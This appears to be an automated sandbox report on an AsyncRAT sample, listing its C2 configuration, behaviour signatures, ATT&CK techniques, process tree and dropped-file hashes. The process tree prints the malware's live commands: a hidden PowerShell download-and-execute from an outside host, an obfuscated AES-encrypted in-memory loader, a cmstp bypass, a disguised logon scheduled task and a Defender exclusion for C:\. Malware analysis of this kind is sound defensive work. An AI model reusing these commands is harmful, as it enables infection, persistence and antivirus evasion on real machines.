asyncrat | bb11c0b847be578c727bd146e232a82eb65b8c43ad1657b200e12416b5fb3e3b

Analysis

max time kernel
93s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
03-12-2024 18:13

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General

Target

6400_output.vbs
Size

49KB
MD5

50e3a17992c509fd34daf21f3d408733
SHA1

99001c7b061914c9caaf7ef2ba75f25ac3498d82
SHA256

bb11c0b847be578c727bd146e232a82eb65b8c43ad1657b200e12416b5fb3e3b
SHA512

e21c89778aecaa7a532f5d953a87b6ed575a14788556b67b3311ffec188d492bd633773ee81879c1451cf6ed1ad4c189bf41f07fc8dbba72bd07103a53597849
SSDEEP

768:I+1zXj3HDb1sybJRpN9/NVAdEamHuaxBsgV29+DY9lYUP7bFQqrSwli:IIzTzL/vtNV/RHvM5ADeHFn0

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

38.255.42.40:1020

Mutex

ZOmahQBSRciB

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3768-206-0x00000000056C0000-0x00000000056D2000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	4000	powershell.exe
40	3768	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1140	powershell.exe
4768	powershell.exe
448	powershell.exe
2288	powershell.exe
1088	powershell.exe
4000	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2160	timeout.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1948	taskkill.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
4000	powershell.exe
4000	powershell.exe
1140	powershell.exe
1140	powershell.exe
5052	powershell.exe
5052	powershell.exe
4768	powershell.exe
4768	powershell.exe
5032	powershell.exe
5032	powershell.exe
448	powershell.exe
448	powershell.exe
3768	powershell.exe
3768	powershell.exe
2288	powershell.exe
2288	powershell.exe
2864	powershell.exe
2864	powershell.exe
1088	powershell.exe
1088	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	1948	taskkill.exe
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	4768	powershell.exe
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeIncreaseQuotaPrivilege	5032	powershell.exe
Token: SeSecurityPrivilege	5032	powershell.exe
Token: SeTakeOwnershipPrivilege	5032	powershell.exe
Token: SeLoadDriverPrivilege	5032	powershell.exe
Token: SeSystemProfilePrivilege	5032	powershell.exe
Token: SeSystemtimePrivilege	5032	powershell.exe
Token: SeProfSingleProcessPrivilege	5032	powershell.exe
Token: SeIncBasePriorityPrivilege	5032	powershell.exe
Token: SeCreatePagefilePrivilege	5032	powershell.exe
Token: SeBackupPrivilege	5032	powershell.exe
Token: SeRestorePrivilege	5032	powershell.exe
Token: SeShutdownPrivilege	5032	powershell.exe
Token: SeDebugPrivilege	5032	powershell.exe
Token: SeSystemEnvironmentPrivilege	5032	powershell.exe
Token: SeRemoteShutdownPrivilege	5032	powershell.exe
Token: SeUndockPrivilege	5032	powershell.exe
Token: SeManageVolumePrivilege	5032	powershell.exe
Token: 33	5032	powershell.exe
Token: 34	5032	powershell.exe
Token: 35	5032	powershell.exe
Token: 36	5032	powershell.exe
Token: SeDebugPrivilege	448	powershell.exe
Token: SeIncreaseQuotaPrivilege	448	powershell.exe
Token: SeSecurityPrivilege	448	powershell.exe
Token: SeTakeOwnershipPrivilege	448	powershell.exe
Token: SeLoadDriverPrivilege	448	powershell.exe
Token: SeSystemProfilePrivilege	448	powershell.exe
Token: SeSystemtimePrivilege	448	powershell.exe
Token: SeProfSingleProcessPrivilege	448	powershell.exe
Token: SeIncBasePriorityPrivilege	448	powershell.exe
Token: SeCreatePagefilePrivilege	448	powershell.exe
Token: SeBackupPrivilege	448	powershell.exe
Token: SeRestorePrivilege	448	powershell.exe
Token: SeShutdownPrivilege	448	powershell.exe
Token: SeDebugPrivilege	448	powershell.exe
Token: SeSystemEnvironmentPrivilege	448	powershell.exe
Token: SeRemoteShutdownPrivilege	448	powershell.exe
Token: SeUndockPrivilege	448	powershell.exe
Token: SeManageVolumePrivilege	448	powershell.exe
Token: 33	448	powershell.exe
Token: 34	448	powershell.exe
Token: 35	448	powershell.exe
Token: 36	448	powershell.exe
Token: SeIncreaseQuotaPrivilege	448	powershell.exe
Token: SeSecurityPrivilege	448	powershell.exe
Token: SeTakeOwnershipPrivilege	448	powershell.exe
Token: SeLoadDriverPrivilege	448	powershell.exe
Token: SeSystemProfilePrivilege	448	powershell.exe
Token: SeSystemtimePrivilege	448	powershell.exe
Token: SeProfSingleProcessPrivilege	448	powershell.exe
Token: SeIncBasePriorityPrivilege	448	powershell.exe
Token: SeCreatePagefilePrivilege	448	powershell.exe
Token: SeBackupPrivilege	448	powershell.exe
Token: SeRestorePrivilege	448	powershell.exe
Token: SeShutdownPrivilege	448	powershell.exe
Token: SeDebugPrivilege	448	powershell.exe
Token: SeSystemEnvironmentPrivilege	448	powershell.exe
Token: SeRemoteShutdownPrivilege	448	powershell.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 4000	1708	WScript.exe	83
PID 1708 wrote to memory of 4000	1708	WScript.exe	83
PID 4000 wrote to memory of 184	4000	powershell.exe	86
PID 4000 wrote to memory of 184	4000	powershell.exe	86
PID 184 wrote to memory of 2408	184	csc.exe	87
PID 184 wrote to memory of 2408	184	csc.exe	87
PID 4000 wrote to memory of 1848	4000	powershell.exe	88
PID 4000 wrote to memory of 1848	4000	powershell.exe	88
PID 1708 wrote to memory of 100	1708	WScript.exe	109
PID 1708 wrote to memory of 100	1708	WScript.exe	109
PID 100 wrote to memory of 3060	100	cmd.exe	111
PID 100 wrote to memory of 3060	100	cmd.exe	111
PID 3060 wrote to memory of 1820	3060	cmd.exe	113
PID 3060 wrote to memory of 1820	3060	cmd.exe	113
PID 3060 wrote to memory of 5052	3060	cmd.exe	114
PID 3060 wrote to memory of 5052	3060	cmd.exe	114
PID 3060 wrote to memory of 5052	3060	cmd.exe	114
PID 5052 wrote to memory of 4768	5052	powershell.exe	115
PID 5052 wrote to memory of 4768	5052	powershell.exe	115
PID 5052 wrote to memory of 4768	5052	powershell.exe	115
PID 5052 wrote to memory of 5032	5052	powershell.exe	116
PID 5052 wrote to memory of 5032	5052	powershell.exe	116
PID 5052 wrote to memory of 5032	5052	powershell.exe	116
PID 5052 wrote to memory of 448	5052	powershell.exe	120
PID 5052 wrote to memory of 448	5052	powershell.exe	120
PID 5052 wrote to memory of 448	5052	powershell.exe	120
PID 5052 wrote to memory of 3532	5052	powershell.exe	122
PID 5052 wrote to memory of 3532	5052	powershell.exe	122
PID 5052 wrote to memory of 3532	5052	powershell.exe	122
PID 3532 wrote to memory of 2704	3532	cmd.exe	124
PID 3532 wrote to memory of 2704	3532	cmd.exe	124
PID 3532 wrote to memory of 2704	3532	cmd.exe	124
PID 2704 wrote to memory of 4788	2704	cmd.exe	126
PID 2704 wrote to memory of 4788	2704	cmd.exe	126
PID 2704 wrote to memory of 4788	2704	cmd.exe	126
PID 2704 wrote to memory of 3768	2704	cmd.exe	127
PID 2704 wrote to memory of 3768	2704	cmd.exe	127
PID 2704 wrote to memory of 3768	2704	cmd.exe	127
PID 3768 wrote to memory of 2288	3768	powershell.exe	128
PID 3768 wrote to memory of 2288	3768	powershell.exe	128
PID 3768 wrote to memory of 2288	3768	powershell.exe	128
PID 3060 wrote to memory of 2160	3060	cmd.exe	129
PID 3060 wrote to memory of 2160	3060	cmd.exe	129
PID 3768 wrote to memory of 2864	3768	powershell.exe	130
PID 3768 wrote to memory of 2864	3768	powershell.exe	130
PID 3768 wrote to memory of 2864	3768	powershell.exe	130
PID 3768 wrote to memory of 1088	3768	powershell.exe	132
PID 3768 wrote to memory of 1088	3768	powershell.exe	132
PID 3768 wrote to memory of 1088	3768	powershell.exe	132

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6400_output.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dcn4bw3j\dcn4bw3j.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:184
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8F6F.tmp" "c:\Users\Admin\AppData\Local\Temp\dcn4bw3j\CSC47AACC5E28604F18B9B7C8DD7050679D.TMP"
      4⤵
      PID:2408
- - C:\windows\system32\cmstp.exe
    "C:\windows\system32\cmstp.exe" /au C:\windows\temp\tqtktrbf.inf
    3⤵
    PID:1848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\n1.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\n1.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\n1.bat';$UlQe='CrSJrjeaSJrjteSJrjDSJrjecSJrjrypSJrjtSJrjorSJrj'.Replace('SJrj', ''),'FrduLGoduLGmBduLGasduLGe64duLGSduLGtduLGrduLGinduLGgduLG'.Replace('duLG', ''),'SplWEtyitWEty'.Replace('WEty', ''),'TrPLLOaPLLOnPLLOsfPLLOorPLLOmFPLLOinaPLLOlPLLOBloPLLOckPLLO'.Replace('PLLO', ''),'IqAvznvqAvzokqAvzeqAvz'.Replace('qAvz', ''),'ElCRJaeCRJamCRJaeCRJantCRJaAtCRJa'.Replace('CRJa', ''),'CopoKbTyToKbTooKbT'.Replace('oKbT', ''),'CNvoBhaNvoBnNvoBgNvoBeENvoBxNvoBteNvoBnsiNvoBonNvoB'.Replace('NvoB', ''),'DVBxQecoVBxQmVBxQprVBxQeVBxQssVBxQ'.Replace('VBxQ', ''),'GFWFdetFWFdCuFWFdrFWFdreFWFdntFWFdPFWFdrocFWFdessFWFd'.Replace('FWFd', ''),'MaJpEGinJpEGMoJpEGdJpEGuJpEGleJpEG'.Replace('JpEG', ''),'ReaMYpLdMYpLLiMYpLneMYpLsMYpL'.Replace('MYpL', ''),'LoHeytadHeyt'.Replace('Heyt', ''),'EntGbxPrGbxPyGbxPPGbxPoiGbxPntGbxP'.Replace('GbxP', '');powershell -w hidden;function qnnlg($BQRjz){$vhoqP=[System.Security.Cryptography.Aes]::Create();$vhoqP.Mode=[System.Security.Cryptography.CipherMode]::CBC;$vhoqP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$vhoqP.Key=[System.Convert]::($UlQe[1])('PqF8xJ4DsUvA734I68CUFeZUlzBwmh524HQ2zwVtwU0=');$vhoqP.IV=[System.Convert]::($UlQe[1])('ZAXbNfl672AbdKJrN/GTPw==');$txLMz=$vhoqP.($UlQe[0])();$WcLWs=$txLMz.($UlQe[3])($BQRjz,0,$BQRjz.Length);$txLMz.Dispose();$vhoqP.Dispose();$WcLWs;}function cedax($BQRjz){$surik=New-Object System.IO.MemoryStream(,$BQRjz);$atgID=New-Object System.IO.MemoryStream;$stzGr=New-Object System.IO.Compression.GZipStream($surik,[IO.Compression.CompressionMode]::($UlQe[8]));$stzGr.($UlQe[6])($atgID);$stzGr.Dispose();$surik.Dispose();$atgID.Dispose();$atgID.ToArray();}$UdUcO=[System.IO.File]::($UlQe[11])([Console]::Title);$lgana=cedax (qnnlg ([Convert]::($UlQe[1])([System.Linq.Enumerable]::($UlQe[5])($UdUcO, 5).Substring(2))));$RDaZu=cedax (qnnlg ([Convert]::($UlQe[1])([System.Linq.Enumerable]::($UlQe[5])($UdUcO, 6).Substring(2))));[System.Reflection.Assembly]::($UlQe[12])([byte[]]$RDaZu).($UlQe[13]).($UlQe[4])($null,$null);[System.Reflection.Assembly]::($UlQe[12])([byte[]]$lgana).($UlQe[13]).($UlQe[4])($null,$null); "
      4⤵
      PID:1820
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5052
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4768
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\n1')
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5032
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 90481' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network90481Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:448
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Network90481Man.cmd"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3532
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Network90481Man.cmd"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2704
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Network90481Man.cmd';$UlQe='CrSJrjeaSJrjteSJrjDSJrjecSJrjrypSJrjtSJrjorSJrj'.Replace('SJrj', ''),'FrduLGoduLGmBduLGasduLGe64duLGSduLGtduLGrduLGinduLGgduLG'.Replace('duLG', ''),'SplWEtyitWEty'.Replace('WEty', ''),'TrPLLOaPLLOnPLLOsfPLLOorPLLOmFPLLOinaPLLOlPLLOBloPLLOckPLLO'.Replace('PLLO', ''),'IqAvznvqAvzokqAvzeqAvz'.Replace('qAvz', ''),'ElCRJaeCRJamCRJaeCRJantCRJaAtCRJa'.Replace('CRJa', ''),'CopoKbTyToKbTooKbT'.Replace('oKbT', ''),'CNvoBhaNvoBnNvoBgNvoBeENvoBxNvoBteNvoBnsiNvoBonNvoB'.Replace('NvoB', ''),'DVBxQecoVBxQmVBxQprVBxQeVBxQssVBxQ'.Replace('VBxQ', ''),'GFWFdetFWFdCuFWFdrFWFdreFWFdntFWFdPFWFdrocFWFdessFWFd'.Replace('FWFd', ''),'MaJpEGinJpEGMoJpEGdJpEGuJpEGleJpEG'.Replace('JpEG', ''),'ReaMYpLdMYpLLiMYpLneMYpLsMYpL'.Replace('MYpL', ''),'LoHeytadHeyt'.Replace('Heyt', ''),'EntGbxPrGbxPyGbxPPGbxPoiGbxPntGbxP'.Replace('GbxP', '');powershell -w hidden;function qnnlg($BQRjz){$vhoqP=[System.Security.Cryptography.Aes]::Create();$vhoqP.Mode=[System.Security.Cryptography.CipherMode]::CBC;$vhoqP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$vhoqP.Key=[System.Convert]::($UlQe[1])('PqF8xJ4DsUvA734I68CUFeZUlzBwmh524HQ2zwVtwU0=');$vhoqP.IV=[System.Convert]::($UlQe[1])('ZAXbNfl672AbdKJrN/GTPw==');$txLMz=$vhoqP.($UlQe[0])();$WcLWs=$txLMz.($UlQe[3])($BQRjz,0,$BQRjz.Length);$txLMz.Dispose();$vhoqP.Dispose();$WcLWs;}function cedax($BQRjz){$surik=New-Object System.IO.MemoryStream(,$BQRjz);$atgID=New-Object System.IO.MemoryStream;$stzGr=New-Object System.IO.Compression.GZipStream($surik,[IO.Compression.CompressionMode]::($UlQe[8]));$stzGr.($UlQe[6])($atgID);$stzGr.Dispose();$surik.Dispose();$atgID.Dispose();$atgID.ToArray();}$UdUcO=[System.IO.File]::($UlQe[11])([Console]::Title);$lgana=cedax (qnnlg ([Convert]::($UlQe[1])([System.Linq.Enumerable]::($UlQe[5])($UdUcO, 5).Substring(2))));$RDaZu=cedax (qnnlg ([Convert]::($UlQe[1])([System.Linq.Enumerable]::($UlQe[5])($UdUcO, 6).Substring(2))));[System.Reflection.Assembly]::($UlQe[12])([byte[]]$RDaZu).($UlQe[13]).($UlQe[4])($null,$null);[System.Reflection.Assembly]::($UlQe[12])([byte[]]$lgana).($UlQe[13]).($UlQe[4])($null,$null); "
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4788
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        7⤵
        Blocklisted process makes network request
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3768
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2288
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network90481Man')
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2864
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 90481' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network90481Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1088
  - - C:\Windows\system32\timeout.exe
      timeout /nobreak /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2160

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1140

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
928d36ad618a369ffebf44885d07cf81

SHA1
edf5a353a919c1873af8e6a0dfafa4c38c626975

SHA256
d3436adbbe4dcb701c214f108dcd7babddbbc1b3b6f6dd6f5a4c5fc8c1a507ea

SHA512
4ca6f5da3cf41f7ea938eaa80e169ed3ba33c93ada8932d2683c5a57e632b963d0cb84bc6330cb1454801f0fbed02f97c8b8c7bbd992c8fdf603220f2be9086a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
21KB

MD5
b6922c772cf0d207cc6c36cfcf49e1e5

SHA1
a61cdcc142c0152ae9657def5220a0f05554d62e

SHA256
5e1e0c4736cf9ca7f80a6cb954f6a011f3e5ba8d8b686f74576e359bee985db4

SHA512
8ba98376422cb3e0004eed6bb56698c1fde1b3fe2fb28848228d4b57167906e99886252ec5937d3b3417f98dffae1f2ce05aad25445b947703312a02fb62e1d4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
20KB

MD5
df64a0f91488ae0586c0aa6ed9fa37ef

SHA1
fa1bf8acebf149171289d857ba5d8dce42428ea0

SHA256
1cb349c875ef217eb9990e47759e830506f81eafbb2095e9f5598e826c89ba5f

SHA512
652a3b2ddc6bfc480de9d532f86674c33114948644fcc8af81d95b294fb794adeba219773490676c1988b4773de6373fe71e9c4e687d0e37a74f11f8f9a391d0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
21KB

MD5
885ac1392da9005714c2dd1fda159501

SHA1
9e1acc57642174f248cbbf2737bbef5f233df1c0

SHA256
9121d639ff72aad17d8ab9447d9759ec9eac5ed060a1a0f650fcfe5948fee60b

SHA512
bcb9e185113097810f5ab4516db23dd2aa74e3b54545f9e84bb25f3fdd1500d625b1471288c265a8b8f8a29a98fb17ce1681937141fffe7bc35942c4836aeecf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
20KB

MD5
068f47c4f4e017c7581b66aeb5b628e2

SHA1
ba6335376bddd526082d773be8461e8cfc241d42

SHA256
1068ccaf69950254c08ae49e32c3c6a76c132e867510cadebc725d3bd30e0b7d

SHA512
cd85b0e60977dba2a1c8dcf468f824dff53563edff5ea05bcdf65fe471b79e42084fc0377f175af146153fb56ff1997eda317d9bccb32e89651e804d2db9e3da

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
74d1002cda3a8f9a938b9dccb9a746b9

SHA1
ac8674cc788f31667cbcb9d87f824b59dca1f9eb

SHA256
691eef89596f30812d6e804b0301a33576e8e8e57f618e9e1200ba9ed87a7e43

SHA512
101127e270a542d1308d93559ec98ea28954cd76fd7bd0332f512424dae1e5e9807d24544bf2247760d33902bf0fdb784ff8479d21b45db542e624b47dfedad6

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES8F6F.tmp

Filesize
1KB

MD5
e0f562601818e1f11c8d23d95d87313b

SHA1
d08090b7953917ae92d518295d240526945b89de

SHA256
29f298b74077397313959e1ec8deab9b1ffa9fa9d55fff1f7a110ca4e3d92d8c

SHA512
4e336a4f45a271f8dc6a2f8d3ed4140c9afd5f87ce3d60b359c3789897c6824f60dd8dd225d39b88a5aaa864ae2f5de85321f666109e99a3d879b56545a92227

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rreebrxm.mmx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\dcn4bw3j\dcn4bw3j.dll

Filesize
4KB

MD5
53a5682d4144c175e39efe7210d18c4a

SHA1
cb2f37cd224f866b262cc1f799e620910d7a3328

SHA256
089157fb4aa26ed5c9a3558d13d656bc754bb04c193556a39f419b9115c6e976

SHA512
9d9b456b2a091da45f3dfcaabe03b2d145365ab086f6e4bfc8f39df0a2eeff5e5cf8ddeced37efd9dd2764624e92346a7f237aa7fc0977ba6f83d6d9db4393a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\n1.bat

Filesize
48KB

MD5
83fba8b8c150fdd949067fc54f597aa1

SHA1
fc6e442dba604453db6988950a09cd539c5f2ec8

SHA256
7f5beae0e19c0836c3f6838dacbebab8a8811643156f1af13664ff4725989f25

SHA512
11c852bb8d36a9e42beb5d42b3120bcec309ff751e60f750b8d35383b546285fd999450a13c238074228b8170d6efd16f238ec2c583964ee8393df23a201c1dd

Download Submit
C:\windows\temp\tqtktrbf.inf

Filesize
675B

MD5
0a85805c6649ad8e6f40c9ddc1258a49

SHA1
69ca8a686c49218281a09bbed22ef55654a04459

SHA256
f20428b0f70a5fa861f27eef9583b473217ee467ef39f475d337f073851436be

SHA512
16775646f1df49f479e967c885e9948c52fcd31abc2041c63a50fd32e1380d3d963612d02f2db62e39c3bdcc959eb2d56f40d9f0f82a36897c8340206e355fad

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dcn4bw3j\CSC47AACC5E28604F18B9B7C8DD7050679D.TMP

Filesize
652B

MD5
6e408aec2958c3cfabad33d244f06bff

SHA1
c17eb3ba934b833f2e7f9daedc12cc0f6f19aa03

SHA256
b265e2dec95506e7ce9223d2b758b9d58c21aed89c288c7e45c0cb59feb3b176

